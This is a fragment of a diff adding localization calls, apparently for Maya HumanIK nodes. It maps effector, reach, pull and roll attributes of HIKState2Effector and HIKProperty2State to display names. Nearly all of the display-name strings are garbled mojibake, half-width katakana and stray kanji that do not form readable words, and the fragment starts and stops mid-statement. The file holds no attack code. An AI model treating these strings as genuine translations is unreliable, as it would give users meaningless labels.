"RightHandIndexEffectorGXM", "モメハヨハウヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffset", "モメハヨハウヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetX", "モメハヨハウヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetY", "モメハヨハウヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandIndexEffectorpivotOffsetZ", "モメハヨハウヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorGX", "モメハヨヨミヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorGXM", "モメハヨヨミヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffset", "モメハヨヨミヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetX", "モメハヨヨミヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetY", "モメハヨヨミヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandMiddleEffectorpivotOffsetZ", "モメハヨヨミヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorGX", "モメハヨボテヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorGXM", "モメハヨボテヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffset", "モメハヨボテヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetX", "モメハヨボテヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetY", "モメハヨボテヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandRingEffectorpivotOffsetZ", "モメハヨボテヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorGX", "モメハヨミ。ヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorGXM", "モメハヨミ。ヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffset", "モメハヨミ。ヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetX", "モメハヨミ。ヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetY", "モメハヨミ。ヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandPinkyEffectorpivotOffsetZ", "モメハヨミ。ヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorGX", "モメハヨチヨクミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorGXM", "モメハヨチヨクミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffset", "モメハヨチヨクミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetX", "モメハヨチヨクミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetY", "モメハヨチヨクミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandExtraFingerEffectorpivotOffsetZ", "モメハヨチヨクミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorGX", "ラスナエヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorGXM", "ラスナエヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffset", "ラスナエヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetX", "ラスナエヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetY", "ラスナエヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootThumbEffectorpivotOffsetZ", "ラスナエヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorGX", "ラスナカヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorGXM", "ラスナカヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffset", "ラスナカヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetX", "ラスナカヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetY", "ラスナカヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootIndexEffectorpivotOffsetZ", "ラスナカヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorGX", "ラスナヨミヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorGXM", "ラスナヨミヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffset", "ラスナヨミヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetX", "ラスナヨミヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetY", "ラスナヨミヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootMiddleEffectorpivotOffsetZ", "ラスナヨミヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorGX", "ラスナヒトヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorGXM", "ラスナヒトヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffset", "ラスナヒトヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetX", "ラスナヒトヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetY", "ラスナヒトヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootRingEffectorpivotOffsetZ", "ラスナヒトヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorGX", "ラスナミ。ヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorGXM", "ラスナミ。ヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffset", "ラスナミ。ヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetX", "ラスナミ。ヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetY", "ラスナミ。ヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootPinkyEffectorpivotOffsetZ", "ラスナミ。ヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorGX", "ラスナチヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorGXM", "ラスナチヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffset", "ラスナチヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetX", "ラスナチヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetY", "ラスナチヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootExtraFingerEffectorpivotOffsetZ", "ラスナチヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorGX", "モメスナエヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorGXM", "モメスナエヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffset", "モメスナエヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetX", "モメスナエヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetY", "モメスナエヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootThumbEffectorpivotOffsetZ", "モメスナエヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorGX", "モメスナカヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorGXM", "モメスナカヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffset", "モメスナカヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetX", "モメスナカヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetY", "モメスナカヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootIndexEffectorpivotOffsetZ", "モメスナカヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorGX", "モメスナヨミヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorGXM", "モメスナヨミヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffset", "モメスナヨミヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetX", "モメスナヨミヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetY", "モメスナヨミヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootMiddleEffectorpivotOffsetZ", "モメスナヨミヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorGX", "モメスナヒトヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorGXM", "モメスナヒトヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffset", "モメスナヒトヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetX", "モメスナヒトヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetY", "モメスナヒトヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootRingEffectorpivotOffsetZ", "モメスナヒトヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorGX", "モメスナミ。ヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorGXM", "モメスナミ。ヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffset", "モメスナミ。ヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetX", "モメスナミ。ヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetY", "モメスナミ。ヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootPinkyEffectorpivotOffsetZ", "モメスナミ。ヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorGX", "モメスナチヨコミァモヲニ GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorGXM", "モメスナチヨコミァモヲニ GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffset", "モメスナチヨコミァモヲニハ獰眸ォメニ" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetX", "モメスナチヨコミァモヲニハ獰眸ォメニ X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetY", "モメスナチヨコミァモヲニハ獰眸ォメニ Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootExtraFingerEffectorpivotOffsetZ", "モメスナチヨコミァモヲニハ獰眸ォメニ Z" ); +setAttrNiceNameResource( "HIKState2Effector", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKProperty2State +// +setNodeNiceNameResource( "HIKProperty2State", "HIKProperty 2State" ); +setAttrNiceNameResource( "HIKProperty2State", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKProperty2State", "OutputPropertySetState", "ハ莎フリミヤシッラエフャ" ); +setAttrNiceNameResource( "HIKProperty2State", "ra", "ーカィカヤニ" ); +setAttrNiceNameResource( "HIKProperty2State", "lhr", "ラナイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "lkr", "ラマ・イ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "rhr", "モメナイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "rkr", "モメマ・イ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "lsr", "ラシ邊犹" ); +setAttrNiceNameResource( "HIKProperty2State", "ler", "ラヨ箚犹" ); +setAttrNiceNameResource( "HIKProperty2State", "rsr", "モメシ邊犹" ); +setAttrNiceNameResource( "HIKProperty2State", "rer", "モメヨ箚犹" ); +setAttrNiceNameResource( "HIKProperty2State", "ForceActorSpace", "チヲスヌノォソユシ" ); +setAttrNiceNameResource( "HIKProperty2State", "ScaleCompensationMode", "アネタイケウ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ScaleCompensation", "アネタイケウ・" ); +setAttrNiceNameResource( "HIKProperty2State", "MassCenterCompensationMode", "ヨハミトイケウ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "MassCenterCompensation", "ヨハミトイケウ・" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleHeightCompensationMode", "ライソク゚カネイケウ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleHeightCompensation", "ライソク゚カネイケウ・" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleProximityCompensationMode", "ライソスモスカネイケウ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "AnkleProximityCompensation", "ライソスモスカネイケウ・" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsHeightCompensationMode", "ナイソク゚カネイケウ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsHeightCompensation", "ナイソク゚カネイケウ・" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftAnkle", "エオススヌノォララ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightAnkle", "エオススヌノォモメラ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorChest", "エオススヌノォミリイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftWrist", "エオススヌノォラヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightWrist", "エオススヌノォモメヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftKnee", "エオススヌノォラマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightKnee", "エオススヌノォモメマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorHead", "エオススヌノォヘキイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftElbow", "エオススヌノォラヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightElbow", "エオススヌノォモメヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftAnkleRotationRotation", "エオススヌノォララミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightAnkleRotation", "エオススヌノォモメラミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorHeadRotation", "エオススヌノォヘキイソミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftWristRotation", "エオススヌノォラヘミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightWristRotation", "エオススヌノォモメヘミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFingerBase", "エオススヌノォラハヨヨクク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFingerBase", "エオススヌノォモメハヨヨクク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftToesBase", "エオススヌノォラスナヨコク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightToesBase", "エオススヌノォモメスナヨコク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFingerBaseRotation", "エオススヌノォラハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFingerBaseRotation", "エオススヌノォモメハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftToesBaseRotation", "エオススヌノォラスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightToesBaseRotation", "エオススヌノォモメスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorChestRotation", "エオススヌノォミリイソミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLowerChestRotation", "エオススヌノォマツミリミラェ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandThumb", "エオススヌノォラハヨトエヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandIndex", "エオススヌノォラハヨハウヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandMiddle", "エオススヌノォラハヨヨミヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandRing", "エオススヌノォラハヨボテヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandPinky", "エオススヌノォラハヨミ。ヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftHandExtraFinger", "エオススヌノォラハヨチヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandThumb", "エオススヌノォモメハヨトエヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandIndex", "エオススヌノォモメハヨハウヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandMiddle", "エオススヌノォモメハヨヨミヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandRing", "エオススヌノォモメハヨボテヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandPinky", "エオススヌノォモメハヨミ。ヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightHandExtraFinger", "エオススヌノォモメハヨチヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootThumb", "エオススヌノォラスナエヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootIndex", "エオススヌノォラスナカヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootMiddle", "エオススヌノォラスナヨミヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootRing", "エオススヌノォラスナヒトヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootPinky", "エオススヌノォラスナミ。ヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftFootExtraFinger", "エオススヌノォラスナチヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootThumb", "エオススヌノォモメスナエヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootIndex", "エオススヌノォモメスナカヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootMiddle", "エオススヌノォモメスナヨミヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootRing", "エオススヌノォモメスナヒトヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootPinky", "エオススヌノォモメスナミ。ヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightFootExtraFinger", "エオススヌノォモメスナチヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "FloorContact", "オリー蠖モエ・" ); +setAttrNiceNameResource( "HIKProperty2State", "FootBottomToAnkle", "スナオラオスライソ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootBackToAnkle", "スナアウオスライソ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootMiddleToAnkle", "スナヨミシ莊スライソ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFrontToMiddle", "スナヌーオスヨミシ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootInToAnkle", "スナトレオスライソ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootOutToAnkle", "スナヘ箏スライソ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFloorContact", "ハヨオリー蠖モエ・" ); +setAttrNiceNameResource( "HIKProperty2State", "HandBottomToWrist", "ハヨオラオスヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandBackToWrist", "ハヨアウオスヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandMiddleToWrist", "ハヨヨミシ莊スヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFrontToMiddle", "ハヨヌーオスヨミシ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandInToWrist", "ハヨトレオスヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandOutToWrist", "ハヨヘ箏スヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandContactType", "ハヨスモエ・タ獎ヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFingerContact", "ハヨヨクスモエ・" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFingerContactMode", "ハヨヨクスモエ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "FootContactType", "スナスモエ・タ獎ヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFingerContact", "スナヨコスモエ・" ); +setAttrNiceNameResource( "HIKProperty2State", "FootFingerContactMode", "スナヨコスモエ・ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRollMode", "ラエヘネイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRoll", "ラエヘネイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRollMode", "ラヘネイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRoll", "ラヘネイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRollMode", "モメエヘネイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRoll", "モメエヘネイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRollMode", "モメヘネイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRoll", "モメヘネイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRollMode", "ラアロイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRoll", "ラアロイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRollMode", "ラヌーアロイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRoll", "ラヌーアロイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRollMode", "モメアロイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRoll", "モメアロイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRollMode", "モメヌーアロイ犹ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRoll", "モメヌーアロイ犹" ); +setAttrNiceNameResource( "HIKProperty2State", "Mirror", "セオマ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftKneeKillPitch", "ラマ・スモテクゥム" ); +setAttrNiceNameResource( "HIKProperty2State", "RightKneeKillPitch", "モメマ・スモテクゥム" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftElbowKillPitch", "ラヨ篆モテクゥム" ); +setAttrNiceNameResource( "HIKProperty2State", "RightElbowKillPitch", "モメヨ篆モテクゥム" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftFoot", "ソリヨニタュカッラスナ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightFoot", "ソリヨニタュカッモメスナ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftHand", "ソリヨニタュカッラハヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightHand", "ソリヨニタュカッモメハヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullHead", "ソリヨニタュカッヘキイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftToeBase", "ソリヨニタュカッラスナヨコク" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftKnee", "ソリヨニタュカッラマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightToeBase", "ソリヨニタュカッモメスナヨコク" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightKnee", "ソリヨニタュカッモメマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftFingerBase", "ソリヨニタュカッラハヨヨクク" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullLeftElbow", "ソリヨニタュカッラヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightFingerBase", "ソリヨニタュカッモメハヨヨクク" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlPullRightElbow", "ソリヨニタュカッモメヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlChestPullLeftHand", "ソリヨニミリイソタュカッラハヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlChestPullRightHand", "ソリヨニミリイソタュカッモメハヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistHipsPosition", "ソリヨニラ霖ヲナイソホサヨテ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlEnforceGravity", "ソリヨニヌソヨニヨリチヲ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistHipsOrientation", "ソリヨニラ霖ヲナイソキスマ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistChestPosition", "ソリヨニラ霖ヲミリイソホサヨテ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistChestOrientation", "ソリヨニラ霖ヲミリイソキスマ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftCollar", "ソリヨニラ霖ヲライ猴ケヌ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightCollar", "ソリヨニラ霖ヲモメイ猴ケヌ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftKnee", "ソリヨニラ霖ヲラマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightKnee", "ソリヨニラ霖ヲモメマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistLeftElbow", "ソリヨニラ霖ヲラヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistRightElbow", "ソリヨニラ霖ヲモメヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamCtrlSpineStiffness", "イホハサッソリヨニシケラオクユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTOffsetX", "ナイソニスメニニォメニ X" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTOffsetY", "ナイソニスメニニォメニ Y" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTOffsetZ", "ナイソニスメニニォメニ Z" ); +setAttrNiceNameResource( "HIKProperty2State", 